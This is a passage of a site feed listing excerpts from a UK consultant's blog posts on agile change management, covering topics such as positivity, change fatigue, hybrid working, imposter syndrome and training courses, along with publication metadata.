Practical positivity, Reframing the negatives to positives Isn’t it true, when we have the least time to fix problems, that is when we have problems! Last week I couldn’t believe how much I had to get through, and when problems arose they made me feel very down, because I felt that I didn’t have the mental space to cope. Of course, this is exactly the time I need to reframe the negatives to the positives. If we are feeling negative, our brain builds on this by looking out for more problems, just to confirm the emotion that it is feeling. We must be deliberate in breaking this prevailing pattern, otherwise the vicious circle continues to build. When we are feeling positive, we are able to cope with more information, we are more able to connect and compare the information to trigger new ideas and we are less quick to judge and more able to trust, making us open to the support of others. These are some of my deliberate changes in perspective: New and long term roadworks on the way to work led me to identify three benefits: I forced me to find a new route to work, therefore learning something new and helpful for the future It encouraged me to get to work earlier when the traffic is less, making me more productive in the mornings Getting up earlier means there is less traffic and fewer dogs being walked, giving my nervous St. Bernard a calmer, more enjoyable walk I screwed up access to my webinar,... --- ### Learn the full scope of change in the Agile Change Agent course > If we want to successfully change how people work, moving from initial implementation to full adoption, we must see past superficial changes. - Published: 2023-01-23 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/scope-of-change/ - Categories: Videos - Tags: Agile Change Agent, change, change management The typical scope for any change will describe new systems, new products and services and new team structures. If we want to successfully change how people work, moving them from initial implementation to full adoption of the change, we must see past these superficial changes. New ways of working are a combination of new processes, inputs and outputs, data and quality standards. Real change comes from altering the habits, routines and priorities that are the real impact of the change. To understand our change we must define the scope of both types of change. We must understand how this full scope affects the duration, effort, who the stakeholders are and what success looks like. If you want to fully understand the scope of your change, join me on my next Agile Change Agent course where we carefully examine these two types of change. https://www. youtube. com/watch? v=_QBUNMSEeos --- ### Applying Positivity > Telling my brain what to look for makes it far more likely it will find what it has been told to. With very little effort, we are creating a self-fulfilling phropecy. - Published: 2023-01-23 - Modified: 2023-02-14 - URL: https://agilechangemanagement.co.uk/applying-positivity/ - Categories: Featured, Reframing the Negatives to Positives - Tags: Blog, change management, Practical positivity I had training on a new platform scheduled with my team for Friday afternoon, and as the week progressed I moved from concerned I wouldn’t have the time to angry I had put so much into my schedule and therefore angry about having to attend the training. Before the session, I applied positivity to ensure I would get the most out of my session by instructing my brain to look for the positives. I was applying the “affect heuristic” where our brains make decisions based on the emotions surrounding the situation. I listed every benefit of the training so that as we started work, my brain would spot all of these advantages and point them out to me. This is an unconscious process, we don’t know it is happening but effectively our brains our nudging us and whispering loudly, “look, isn’t that brilliant, this training was a great idea! ” The things I told my brain to look for were: New ideas that would save me time The sense of accomplishment of learning new things The joy of seeing my colleagues have their own ideas and their own sense of achievement The emotional support of working with people whose company I enjoy My brain delivered! Even within the first few minutes, I felt a sense of accomplishment when I was able to use my administrator rights to establish the system settings for everyone. The trainer then showed an amazing short-cut and my colleague also realised how useful it was, so... --- ### Work trends for 2023 > Thinking about the trends for work in 2023 is shaping how I explain the value and relevance of the change initiatives I am responsible for. - Published: 2023-01-06 - Modified: 2023-01-06 - URL: https://agilechangemanagement.co.uk/work-trends-for-2023/ - Categories: Company - Tags: Agile change management, Blog, change management, Practical positivity Introduction If we want to inspire change at work, it helps to know that the changes are aligned to the broader context of changes that are taking place socially and economically around us. Thinking about the trends for work in 2023 is shaping how I explain the value and relevance of the change initiatives I am responsible for. These are my 3 key trends for 2023: Making choices to improve balance Change isn’t for specialists, we must be more inclusive We want more science! Making choices to improve balance Covid has faded for many of us, but the uncertainties continue. Economic and personal financial uncertainty, new norms for where and when we work, how much travel we do to get to work and how much community and socialisation we need from work . The research from the Mayo Clinic in 2022 established that to be truly fulfilled at work means that every day we must do something we love for at least 20% of our time doesn’t feel impossible. But... many of us spend our time on the daily grind, things that do not rely on being creative and innovative or that inspires joy. Finding time to pursue ideas that inspire us, especially when we are already over-committed is a challenge. We get to the end of the day with so much still to do, and we start work the next day playing catch-up. Identifying those things that don’t add value is going to be key. We all do things... --- ### Which course is right for me and my team? - Published: 2022-11-14 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/which-course-is-right-for-me-and-my-team/ - Categories: Ultimate guide to Agile Change, Understanding Agile Change Management This table summarises what you will learn and what you will be able to do as a result of attending these courses: Agile Change Management Agile Change Coach Change Management Foundation and Practitioner Neuroscience for Change Click image to expand It also provides guidance if you are considering booking some in-house training, as an alternative to joining courses with other people from different organisations. --- ### Change management skills in 2022 > When it comes to change management skills in 2022 - my view is that it is not enough to simply say that you have change management skills. - Published: 2022-11-01 - Modified: 2023-12-21 - URL: https://agilechangemanagement.co.uk/change-management-skills-in-2022/ - Categories: Company What change management skills in 2022 are required? Reviewing this analysis of LinkedIn job data LinkedIn - Future of Skills has clarified the importance of being specific when outlining your skills. I have formed this view as I reviewed and compared the following roles, all of which have a part to play in effective change management: Job roles and change management skills in 2022 Business Analyst Change management has fallen out of favour from 2015, and is now replaced by more specific terms including business process mapping; business process analysis; Agile methodologies. HR Business Partner Change management is no longer in the top skills, replaced by culture change and HR transformation. Programme Manager Change management has fallen in importance, replaced by more specific skills including strategic business change and stakeholder engagement. Reviewing all the data, I can also see that there is an expansion from management activities (doing things in the right way) to include leadership activities (doing the right things). This appears to be across all the roles. My reasoning for this is that in a world where we expect employees to not only do their jobs but also collaborate in projects and change initiatives that improve how they work, we should include those skills needed for looking at the wider context and challenging our current assumptions. Whenever I am constructing a job role, this visual from the great Esther Cameron and Mike Green is one of my go-to ideas: I work across from left to right, making sure... --- ### Creating a network of change agents > Organisational changes impact every role & every layer, so it makes sense to build teams who can take the change directly to those affected. - Published: 2022-10-18 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/creating-a-network-of-change-agents/ - Categories: Change Agents, Stakeholder engagement, White Papers - Tags: changeagentnetworks, changeagents Organisational changes impact every role and every layer of our organisations, so it makes sense to build teams who can take the change directly to those affected. This paper is titled “Creating a network of change agents” but I question if it really is a network, because the most successful of these are supportive communities of colleagues and experts who collaborate to understand the change, communicate this understanding and gain support for its adoption. Irrespective of the naming convention, there are multiple factors that inter-connect in creating an effective network of committed, enthusiastic and capable people to generate new ways of working. This paper will address the following: Change Agent Network Activities Map © Agile Change Management Limited 2022 The source of the ideas in this paper come from a review of change networks that I and those I work with have created and managed over the last 5 years, to cover the period before and during Covid. I think it is worth stating that the post Covid landscape of hybrid working has created new challenges and opportunities so I am sharing these insights with the hope of giving you ideas for what will work best for your changes. Download paper --- ### How to build a business case for Agile Change training > Do you want to build a business case for Agile Change training? Download my toolkit today to help improve your chances. - Published: 2022-07-27 - Modified: 2024-10-29 - URL: https://agilechangemanagement.co.uk/how-to-build-a-business-case-for-agile-change-training/ - Categories: Change management career path, Company - Tags: careerpath, change management, Training Investment Do you want to build a business case for Agile Change training? Asking your employer to make a financial investment in your career can feel a bit uncomfortable. But when you can approach them with a solid business case that explains why you’re requesting the training and what your employer and organisation can expect in return for their investment, it’s a lot less intimidating. I have created a toolkit to help with your business case. Download my change management training business case toolkit to improve your chances of getting approval. Download --- ### Technique to maximise the value of your learning > Use my slide pack as the template for a short presentation you can give to your team and other colleagues after an event. - Published: 2022-07-11 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/technique-to-maximise-the-value-of-your-learning/ - Categories: Continuing professional development, Featured - Tags: #agilechangeagent, #agilechangemanagement If you invest in training or when you take yourself out of the organisation to go and learn at a conference or an exhibition, you want to get the most value from your time. Your organisation wants to get the most value from the cost of you not being at your desk. Use my slide pack as the template for a short presentation you can give to your team and other colleagues after an event, webinar, training course or conference where you have learned something that you think others will benefit from knowing. Enter your email address to download my slide pack: hbspt. forms. create({ region: "eu1", portalId: "24958696", formId: "ff55690e-8ca1-4548-b348-6ae836b22782" }); This is a great way of enhancing the value from your own learning, for your benefit and for increasing the “corporate memory” of your organisation. Capturing your learning by descibing new information, new techniques and new examples is a way of embedding it in your own mind. It gives you a chance to reflect on what you've heard and seen and to identify similarities and differences with what you already know and do. A powerful way to embed learning is to try and explain it to others. This is for three reasons: 1. To explain your learning you have to order your thoughts. This challenges you to identify the starting point and the end point, and the logical sequence of events in between. Doing this provokes new ideas and new perspectives. 2. Creating your presentation means you have... --- ### Agile excellence - Published: 2022-06-29 - Modified: 2022-10-18 - URL: https://agilechangemanagement.co.uk/agile-excellence/ - Categories: Agile change management culture, Agile transformation - Tags: agile change, cultural change I was working with an organisation that excels at the agile approach to change. I cannot name them because they view this excellence (quite rightly) as their competitive advantage. I do have permission to describe key elements of their approach, which I am sharing to give you ideas for what you can do in your organisation. I have been working with them for 8 years, so this is not a short-term activity. Over this time, they have invested in their ability to implement and adopt new processes, new products, new services and new business models via a rigorous, repeatable process. This is underpinned by a culture that celebrates how agile provides flexibility, speed of delivery and customer and commercial focus. This culture is comprised of many elements, including: Strategic direction There is one very clear overarching objective – in their case it is “we keep growing” but it enables everyone to ask all the time – how does this help us grow?   Their leaders really do speak with one voice – because they all talk about growth. Of course they talk about it using their own words and phrases and they ensure their remarks are relevant to their area of the business. This “one voice” is confirmed by their staff engagement survey which shows high scores for clarity of purpose across all staff. Evolving solution The concept of an evolving solution and working iteratively is made real for everyone by the emphasis on “try and learn” there is an... --- ### Leadership behaviours for an Agile Change culture - Published: 2022-04-20 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/leadership-behaviours-for-an-agile-change-culture/ - Categories: Agile change management culture, Change Leaders, Company, White Papers - Tags: #AgileChangeCulture, #Changeleadership We know that agility is not a methodology or set of processes or techniques. Agility is the behaviours and attitudes that enable the ability of individuals and organisations to move quickly and easily. At an individual level, this ability leads to innovation, creativity, rapid adoption of new ways of working. At an organisational level, this behaviour is demonstrated by continuous improvements, the quest for new learning, the willingness to adopt new approaches and ultimately, faster to market and frequent creation of new products and services to customers. Agile behaviours are supported by new ways of planning and prioritising work, but they need an environment that encourages and rewards their use. Leaders are principal players in creating this environment. Leaders are not restricted to those with hierarchical power within their organisations. A leader is someone who others willingly follow. I work with lots of organisations in various states of agility, and I have observed a core group of behaviours, working together, that enable agile processes and techniques to flourish: Imagining the future state Flexing your vision Identifying small steps Living with uncertainty Decision making Seeking the input of others Relinquishing control If you are in any form of leadership position, this paper will give you the chance to benchmark your own behaviour against agile excellence and to identify areas for improvement. If you are a project/programme manager, PMO or Product Owner, this will give you lots of ideas for what to discuss with your Sponsor. https://crm. agilechangemanagement. co. uk/leadership-behaviours-for-an-agile-change-culture   --- ### Neuroscience for change management - Published: 2022-04-13 - Modified: 2024-06-28 - URL: https://agilechangemanagement.co.uk/neuroscience-for-change-management/ - Categories: Agile change management concepts, Stakeholder engagement, White Papers - Tags: #Neuroscience, #Neuroscienceforchangemanagement Change management is the practice of applying a structured approach to the transition of an organization from a current state to a future state to achieve expected benefits. This structured approach involves activities for taking all those impacted by the change through their own transition, an inner psychological process to internalize and come to terms with the new situation that the change has imposed upon us. Neuroscience is the scientific study of the nervous system, and helps us understand our reactions to situations, how we process information and how we take decisions. An understanding of neuroscience helps us present information and decisions about new ways of working to those impacted by change persuasively, because our messages match how their brain perceives their situation and affects their choices. Watch my latest webinar Neuroscience for change management and download my accompanying paper. --- ### Latest change management qualifications - Published: 2022-03-22 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/latest-change-management-qualifications/ - Categories: Change Agents, Change Coaches, Change management career path, Change management certifications - Tags: #agilechangecoach #changequalifications, #agilechangemanagement As the author and trainer of two best-selling change management courses, I thought I would highlight their content and explain why they are so popular. Agile Change Agent I developed this course in response to the need to plan and deliver changes to how we work using agile practices and techniques. This is because so many organisations are adopting an agile approach for many of their projects and I wanted to make sure that the new ways of working that realise the benefits from these tangible changes could also be delivered using agile methods. The course leads you through the application of agile planning techniques to create a roadmap that defines what outcomes will be achieved and when these will be implemented. These outcomes are prioritised by the value that they deliver to the business area which is experiencing the change. The course develops your ability to build trusted, empathetic relationships with those impacted by change, through the application of techniques based on neuroscience and emotional intelligence. This course has five sections, each one building on the content of the others to produce a full lifecycle model that moves from initial idea to deployment and adoption of new ways of working: 1. Concepts – these bring together agile principles and change management best practice 2. Roadmap – a simple, effective agile planning technique for defining how and when work will be completed, and benefits will be realised 3. Business need – a range of techniques to identify the benefits for... --- ### Overcoming Imposter Syndrome at Work > If you hold yourself back, I hope this visual of 20 reasons for overcoming imposter syndrome will inspire you. - Published: 2022-03-11 - Modified: 2024-11-04 - URL: https://agilechangemanagement.co.uk/overcoming-imposter-syndrome/ - Categories: Company As we celebrate International Women's Day, I am reminded of how many amazing, talented, inspiring women I train and coach, who do not believe in themselves or may have trouble overcoming imposter syndrome at work. They put themselves down, they negate a compliment with reasons why the positive statement cannot possibly be true about them, and they count themselves out of opportunities because others must be better than them. How Imposter Syndrome can Affect Organisation Structure When thinking about imposter syndrome and organisation structure, there is a trend between men and women. whilst women tend to put themselves down and not accept compliments, men have a very different response. To be brutally honest, none of the above factors come into play with the men that I coach and train. Does this explain why a quick survey of my thousands of LinkedIn connections this morning showed me that 17% of Heads of Change roles were held by women? 83% male in these positions of authority is not gender equality. 20 Reasons for Overcoming Imposter Syndrome If you hold yourself back, I hope this visual of 20 reasons why overcoming imposter syndrome is a good idea will inspire you to be more appreciative of your own skills and talents. Next time someone congratulates you for a great piece of work, or admires one of your talents, thank them, and acknowledge to yourself that maybe they have a point. Overcoming imposter syndrome benefits dependency network --- ### 3 reasons to get a change management certification > here are my top three reasons to get a change management certification. I work with businesses of all sizes and all can benefit. - Published: 2022-02-12 - Modified: 2024-05-21 - URL: https://agilechangemanagement.co.uk/3-reasons-to-get-a-change-management-certification/ - Categories: Change management career path, Change management certifications, Company I know, we are all busy, but being a certified change manager saves you so much time, the effort you make now pays you back immediately you finish the course. Reasons to get a change management certification Here are 3 reasons to get a change management certification: 1. Credibility If you don’t have a certification in the profession you claim to be an expert in, you will have to spend more time and effort convincing people you are credible and worth listening to. Creating change means asking people to take a risk and follow your lead. But it is hard to follow someone when you are not sure if they know what they are doing. Don’t just get a change management certification, let others know that you have it, so you can short cut the time taken to believe in you. 2. Authenticity When you don’t have a certification, you are letting the world know that you don’t invest in yourself, and you don’t make change a priority in your career. The problem is, so many of the conversations we have with our stakeholders ask them to change how they work, invest in their development by learning new ways of working. So we have taken a short cut to being inauthentic – not a good look. 3. Achievement So much of change is small wins, when someone makes the decision to adopt a new process, try out a new activity or start using a new system. These are our achievements,... --- ### Aligning Agile Change with ADKAR© - Published: 2022-02-04 - Modified: 2024-11-01 - URL: https://agilechangemanagement.co.uk/aligning-agile-change-with-adkar/ - Categories: Agile change management concepts, Agile change management lifecycle, Benefits of Agile Change Management, Company, White Papers Introduction In this paper I describe how my Agile Change approach to adopting and embedding new ways of working supports our journey through the lifecycle of change. This is all part of my “layering” mantra. The volume and continuous nature of organisational change isn’t going to get any less any time soon. There is no one simple answer to how to manage effectively in these circumstances, so I am layering the wisdom of many different models one on top of the other to help me find new answers to supporting people through change. I draw inspiration from Kubler-Ross, Bridges, Lewin, Kotter and even the AIDA communications model. We know that the experience of change doesn't follow a linear path, but the advantage of these linear models is that we do not lose our way when we go back and revisit an earlier step because those experiencing change need more explanation and reassurance. These models help us to know where we got to before we had to go back and revisit the earlier steps, and to know what is coming up next so we can confidently explain what is going to happen next. For my book Agile Change Management, 2nd edition, I created a 5-step behavioural change lifecycle to explain the emotional and psychological transition from current to new ways of working. Copyright © Agile Change Management Limited 2022 This lifecycle helps us develop our ability to lead ourselves and others through a change at work. This model follows my passion... --- ### Key trends in change management 2022 - Published: 2022-01-04 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/key-trends-in-change-management-2018-2022/ - Categories: Change management profession, Latest trends in change management, Webinars, White Papers This content is part of the Change Management Profession series of articles, and explains the latest challenges that are currently being debated by those responsible for achieving organisational change around the world. Work down the page to see how these trends have evolved each year. Download Top 5 Trends in Change Management 2022 Key Trends in Change Management for 2022 If you scroll down you can see the trends I reviewed this time last year, where we were challenged by the emergence of hybrid working as the pandemic entered its second year. As we enter the third year of Covid, there is a growing recognition that knowledge work has shifted and hybrid and working from home has become a key differentiator of organisational culture. In this 2021 end of year review, change management practitioners and line managers responsible for leading themselves and their teams through change summarise where they feel we are now, and what we think the challenges will be in the next 12 months. We consider the challenges will be: • Exhaustion – a continued theme from 2021• The great resignation year – are people starting to take control and change their jobs• Impact of the unvaccinated – is this a new theme we expect given the differentiation we are seeing from the governments in how unvaccinated citizens are being treated and how do we address this in the workplace? • Generation Z expectations – expectations for the purpose and value of the organisations they work for, and... --- ### 5 best networking techniques - Published: 2021-05-19 - Modified: 2022-04-22 - URL: https://agilechangemanagement.co.uk/5-best-networking-techniques/ - Categories: Change management techniques, Featured, Insights, Stakeholder engagement Introduction I am the Chief Examiner for the Agile Change Agent qualification, which teaches you practical techniques for scoping, planning and driving the implementation of change in your organisation. A core skill is the ability to persuade those impacted by change to participate and adopt new ways of working. Persuasion is the result of the quality of our relationship with that person. Are we regarded as credible and trustworthy? Does the person impacted by the change want to follow our lead? This means developing great relationship building skills, and that starts with networking, often described as building connections with others. Networking has become even more important over the last year as we rely on our relationships with others to be strong enough to overcome the disadvantages of not being able to meet face to face. Networking needs investment A few days into the first lock-down, I saw the impact of isolation from my network, as my diary emptied of events and meet-ups. I felt this was a big risk to feeling inspired, learning from others and just my emotional resilience. As a result, I took a deliberate decision to address the threat by consciously developing my network, in an online world. My experience has been very positive, and although I have now been physically isolated from my global network for 15 months, I have maintained my presence, and I have enhanced and refreshed my network using these techniques: More work Say yes to a broader range of work – this... --- ### Resilience in action > As you would expect from the title of the book, I took an agile approach, which reduced the stress. Find out more here. - Published: 2021-04-27 - Modified: 2023-12-21 - URL: https://agilechangemanagement.co.uk/resilience-in-action/ - Categories: Change management techniques, Emotional resilience, Insights Introduction On Friday I delivered the 2nd edition of Agile Change Management to my publishers. This book is the course text for the Agile Change Agent course which is in high demand, and I have been able to bring it right up to date using the input from hundreds of people on my courses. I am proud to have finished this book, because being alone in lockdown is not the easiest time to take on big, scary project. I doubted my ability to get it finished, to get it right and to make it interesting. Exhausting negative thoughts for nearly a year. Now it is over, I wanted to reflect on what it has taught me about how I work and how I can build on this for future projects. These are my lessons learned, I hope they help you when you are doubting yourself and your abilities. Doing something is better than doing nothing The ritual of turning up to my desk, and getting something done has been more important than waiting for inspiration. Every weekend I have faced the challenge of feeling tired after a long week, with the excuse that I am too tired to write. Instead of using that as an excuse, I got into the routine of coming into my office on a Saturday and starting with tasks that were: Easy – sometimes just answering a few emails or tidying my desk Appealing – doing something not connected with the book but has value to... --- ### Diary of hybrid working! - Published: 2021-03-28 - Modified: 2021-08-25 - URL: https://agilechangemanagement.co.uk/diary-of-a-hybrid-working/ - Categories: Hybrid working, Popular change initiatives Week 1 Last week I returned to an office for the first time in 53 weeks. 53 weeks is a long time in which to build up new habits and new routines. 53 Mondays and the start to the week, 53 pressured Tuesdays, Wednesdays and Thursdays and 53 wind-down Fridays and the transition to the weekend in the same physical space as the rest of the week. Similarly to a huge proportion of knowledge workers, my new working week is going to be a mix of home and office working. Some weeks I will go to the office for a day or two, other weeks I will max out with 3. 5 days as the Friday morning will be in the office and the Friday afternoon will be a celebratory lunch with my PA! Day 1 Getting ready for my first day felt like my first day at high school. Packing my bag, getting a packed lunch ready, checking and re-checking to make sure I hadn't forgotten anything. As I left the house for the car I returned 3 times for things I had left behind. I used to fly all over the world at a moments notice but lockdown has left me so out of practice I can't leave the house with any sense of organisation. Clothes are another nightmare. I hadn't realised that my "work" clothes were such a well run routine until I had to rebuild this habit. Instead of just getting dressed I agonised over what... --- ### Change management skills are life skills - Published: 2021-02-21 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/change-management-skills-are-life-skills/ - Categories: Change management skills, Company, Understanding change management, Why is change management important? This weekend where I live some of the restrictions have been lifted. I immediately made use of the chance to travel to see close friends living nearby and take my Dad shopping. But today I have lost my way. The changes are overwhelmingly positive, but I still have the challenge of trying to pick up the threads of my life before this latest lockdown started a couple of months ago. I need to re-establish routines and make decisions about how to use my new freedoms. All my habits that have kept me sane and suppressed the panic of not being able to leave my house are no longer relevant. I need to build some new norms, and I don’t know where to start. There are so many decisions I don't know what elements to address first. In the absence of knowing what to do, I don't do anything at all and then get angry at myself for wasting the day. I aimlessly wander around the house, dithering about whether to go out and if so where to go. I'm out of the habit of driving the car or taking my bag when I go out so I take 4 attempts to get out of the gate because I have forgotten things. This is my home life so there is no performance management process. Wasted time and opportunities are just my losses, not impacting others. But when this situation occurs at work it affects productivity and is not a good look... --- ### Too much talking, not enough doing! - Published: 2021-01-10 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/too-much-talking-not-enough-doing/ - Categories: Change management techniques, Insights - Tags: #agilechangemanagement, #change, #communication, #management The problem I know how important communication is to successful change management, but I have a situation where too much communication is causing a problem. My client is an organisation who have lagged behind many others in the progress they have made in changing how they work in response to Covid. They have effectively squandered the last 9 months in talking about what might be possible, when their competitors have revamped their products and services and taken even more market share. All the indicators are there that it is time for action, but still they delay. Causes of the problem One of the causes of this is the cultural norm for talking things through, consulting on every aspect of a potential change, which raises questions that need to be further investigated before the talking starts again. This hesitant, risk-averse group think has caused stress because the uncertainty of change has been raised, but without the specifics of exactly what will be different and what will stay the same which reduces the fear of the unknown. This highlights that it is not communication that is essential, but carefully curated conversations, with an objective for getting agreement to and participation in the change that is needed. Solution We are now working through an approach where some of the team are getting on with defining the change in a lot more detail than they have done previously, creating prototypes, running small experiments to find out how things work in practice. It is the... --- ### Change in the time of Covid - Published: 2020-12-06 - Modified: 2024-04-22 - URL: https://agilechangemanagement.co.uk/change-in-the-time-of-covid/ - Categories: Change management profession, Latest trends in change management, Resources, White Papers The following is a description of the points I made during the webinar hosted by the BCS – Chartered Institute of IT – about how the change management profession is changing as a result of the pandemic. This paper addresses three areas: Where are we now? Customer centricity as part of the future of the change management profession. Building capability as a key deliverable from the change management profession. Click below to download your Free resource. Change-in-the-time-of-CovidDownload --- ### Change fatigue is a myth ! - Published: 2020-11-27 - Modified: 2021-09-30 - URL: https://agilechangemanagement.co.uk/change-fatigue-is-a-myth/ - Categories: Change management techniques, Insights, Overcoming change fatigue - Tags: #agilechangemanagement, change management, changefatigue, Fatigue, management, motivation, resilience Great discussion this week with some talented change managers about whether “change fatigue” is real? This was part of a debate on the need for our stakeholders to adopt high volumes of change, and effectively how much change they could cope with (how many balls they could juggle) all at the same time. The argument put forward is that there is no such thing as change fatigue, because we are never fatigued if we are truly motivated. Change fatigue is just the label we put on to describe a type of resistance which is characterised by disengagement. It is recognising that this fatigue is actually disengagement that is the secret to understanding it. If our stakeholders are disengaged then we have failed to engage them. So change fatigue is simple a failure to engage, inspire and motivate those that need to work differently to do so. This led to the conclusion that to create the engagement we need as change professionals, we must create the energy for change, and this comes from two elements: Intrinsic motivation Intrinsic motivation is the inner drive that we have for getting something done. It comprises three factors that taken together increase our energy and commitment to a task: Meaningfulness – belief in the importance of what we are doing, based on our interpretation of its purpose, its value, and its benefits. Autonomy is the power we have to make our own decisions and control what we do. Talents is our desire to build our... --- ### Quick tricks for changing your perspective - Published: 2020-11-19 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/quick-tricks-for-changing-your-perspective/ - Categories: Change management techniques, Insights, Overcoming resistance to change - Tags: #changemanagement, #continuouschange, 2020, Agile change management, Agile PM, Agile project management, agilechangemanagement, challenege, change, leadership, management, perspective I read a great leadership article this week about doing the right thing for your role, not necessarily the right/easy thing for you. It was all about how looking at a challenge from the perspective of your role gives you objectivity, which helps you to do difficult things. The logic is that if we look at a challenge purely from the perspective of whether we want to do it, we give in because is hard. The “role, not person” technique showed how this encouraged leaders to have difficult conversations. It gave me food for thought, and I decided to use it on a challenge I have being facing in Lockdown 2. 0, where I am not as focused as I have been. I was starting lots of pieces of work but not finishing them and I was allowing my concentration to be broken by emails or household priorities even though I had been working from home for months. This was creating feelings of hopelessness as I am working hard but not achieving as much as I could. I had the choice of giving up, taking some time off and hoping I would come back motivated (difficult if you cannot leave your house) or stimulate my motivation by looking at my workload differently. I chose the second option purely for pragmatic reasons. With the possibility of a vaccine on the horizon I wanted to save up my holiday time to spend with my family who will visit as soon as the... --- ### Lockdown 2.0 – Change fatigue! - Published: 2020-11-19 - Modified: 2021-08-25 - URL: https://agilechangemanagement.co.uk/lockdown-2-0-change-fatigue/ - Categories: Change management techniques, Emotional resilience, Insights - Tags: 2020, Agile change management, agilechangemanagement, Challenge, change, Change Agents, change management, changefatigue, Fatigue, Lockdown The challenge Lockdown 2. 0 has triggered change fatigue in many of us, because it is a great example of “here we go again”. The problem with the need to repeat the great sacrifices and personal restraint we showed the first time, is that we must dig deeper to find the rationale. We put all our effort into the first lockdown, but it hasn’t worked. We doubt the benefits of repeating our actions whilst also knowing how much mental energy is required (which we didn’t know the first time around). It is harder to climb the mountain when you know how high and how difficult it is going to be, because our bias for underestimating a challenge cannot be applied! The antidote is to increase our resilience, to drown out the negative thoughts. Emotional resilience is the persistence in pursuing a course of action despite obstacles and setbacks. It is our determination to see something through to its conclusion, despite the pressure we feel to quit. I attended a wonderful lecture on resilience last week that inspired this analogy: If I think of my life as driving an electric car, resilience is the amount of battery power that I have available to me. The more my battery is charged, the further I can drive and the more places I can visit. I choose how frequently to re-charge my car and I choose how long I leave it on charge for. If I don’t increase the charge, I will eventually come... --- ### Be career Agile - Published: 2020-11-12 - Modified: 2022-04-22 - URL: https://agilechangemanagement.co.uk/be-career-agile/ - Categories: Change management career path, Change management profession, Company - Tags: #agilechangemanagement, Agile change management, Agile project management, agilechangemanagement, career, change, change management Introduction With so much uncertainty it might seem counter intuitive to plan your career but as we come to the end of the year and look more optimistically towards 2021 now is the time to decide what you want. By designing an ambitious goal you create the mechanism for identifying your ideal life. No-one gets everything they want but by setting the bar high you will leap further for three reasons:1. The stretching nature of the goal itself will push you to achieve more. 2. Identifying different elements of your goal helps you see your priorities so you allocate your time better, increasing your chances of getting stuff done. 3. Knowing what you want helps you see opportunities that will help you get there. Increase my motivation For me the impact of the pandemic kicked in on the week of 15 March when training, workshops and meetings for every client in every country became virtual. Since then I feel I have been reacting to events. 2020 is not a year where I have been in the driving seat of my career. Whilst I have worked hard to keep everything on track, it doesn't feel very motivating to be the one having change done to me. By creating a compelling, exciting description of my future I can get my motivation back. My goal includes things that are important to me, that I want to achieve, because they align to my values and how I want to interact with the world. I... --- ### How emergent change really feels! > In a world of constant, continuous change, I need to develop a new skill of “personal horizon scanning” to check my focus is correct. - Published: 2020-11-04 - Modified: 2023-11-30 - URL: https://agilechangemanagement.co.uk/how-emergent-change-really-feels/ - Categories: Change management techniques, Emotional resilience, Insights - Tags: #continuouschange, agile, Agile change management, Agile PM, Agile project management, change, Change Agents, change management The challenge Over the last few months I have been living through a very significant change in my circumstances, triggered by Covid and Brexit. I am accidentally experiencing high levels of emergent change. There are many facets to this change and as is common with emergent change, there is no single source of requirements, so I have to keep cross checking with different advisers who each reveal a new changes as they in turn make sense of the facts. It is a painstaking process and creates a permanent feeling of uncertainty and a continuous block of stress that is always with me, adding pressure on busy days and stealing away a little of my happiness when things go well. New life cycle of change model To try to reduce this uncertainty I have tried to identify the pattern of events, to give me insight into what might happen next, and it is this pattern I wanted to share with you, as I believe it is common to agile, evolving change, and might help us manage future change initiatives better. If this diagram looks a little like the famous “snakes and ladders” game, I agree with you! There is an element of climbing the ladder but then sliding back down the snake again, partly I think because denial that a major change is taking place is comforting. Proactively dealing with everything is scary, and where there is not a clear path to follow, it is difficult to know what to do... --- ### Planning Change in Business - 5 Steps to Success > I have well thought through steps to planning change in business and getting things started in an organised way. - Published: 2020-10-22 - Modified: 2025-06-11 - URL: https://agilechangemanagement.co.uk/5-steps-to-plan-a-change/ - Categories: Change management techniques, Featured, Insights, Planning a change Like many of you, I am involved in new initiatives and planning change in business that my clients want to kick off and make progress as soon as possible. I have set up hundreds of change programmes during my career, and I have well thought through steps to plan a change in businesses and getting things started in an organised way. I have pulled together my 5 steps to success when planning change in business. If you want to learn more about business change and how to manage successfully, why not join one of my courses. 5 Steps to Planning Change in Business Use my 5 steps to planning a change in business for starting your own initiative or checking you haven’t missed anything. 1. Identify the Benefits of Your Business Change Clarify what benefits your change programme is going to deliver for the organisation. Benefits are the most important element, because if you do not know what positive difference you are going to make, then there is no reason to start the programme and no way to measure the effectiveness. Once you know the benefits, you will have reasons to motivate people to get involved, and you will also have the ability to prioritise every idea for scope and requirements against the benefits. In this way, you have created a simple but effective cross check that what is being asked for is aligned to what your Sponsor and senior leadership team are hoping to achieve. Recognise that there is... --- ### Changing Change Management - Published: 2020-10-08 - Modified: 2024-04-22 - URL: https://agilechangemanagement.co.uk/changing-change-management/ - Categories: Change management profession, Insights, Latest trends in change management, White Papers - Tags: #changemanagement, #continuouschange I have been leading transformational change programmes for over 20 years, and during this time I have seen the environment in which we work shift from implementing singular change to coping with a relentless stream of change. This paper explores the impact of the new change environment and makes suggestions for how we can address the challenges we face. As with everything, the ideas in this paper are constantly evolving, and you are welcome to share your thoughts on the scope of the problem and how it can be addressed through the Continuous Change Community. Change-Change-Management-to-cope-with-constant-change --- ### Coping with continuous change - Published: 2020-09-25 - Modified: 2021-08-25 - URL: https://agilechangemanagement.co.uk/coping-with-continuous-change/ - Categories: Change management profession, Insights, Latest trends in change management - Tags: #changemanagement, #continuouschange, #personaldevelopment Introduction We are constantly bombarded by new ideas, asked to change how we are currently doing things, expected to adopt new apps intuitively. We are at saturation point with change so we need strategies to help us cope. We need more than a mechanism for leading a single change, we need an approach for navigating all of the changes impacting how we work. We must start by recognising the pressure of unremitting, constant change and the stress that it causes. We need empathy but we also need practical support. This practical support helps us build our emotional resilience. Resilience is the perseverance and determination to keep going despite setbacks and at this point in the 21st century it is a capability that has never been more important. When our ways of working continually evolve, it can feel as if we are on a treadmill that never stops. No runner can run for infinity so why do we think it is possible at work? Of course it isn't, which is why we talk about stress and burn-out and why people leave their jobs even if they don't have another to go to. Drawing from the 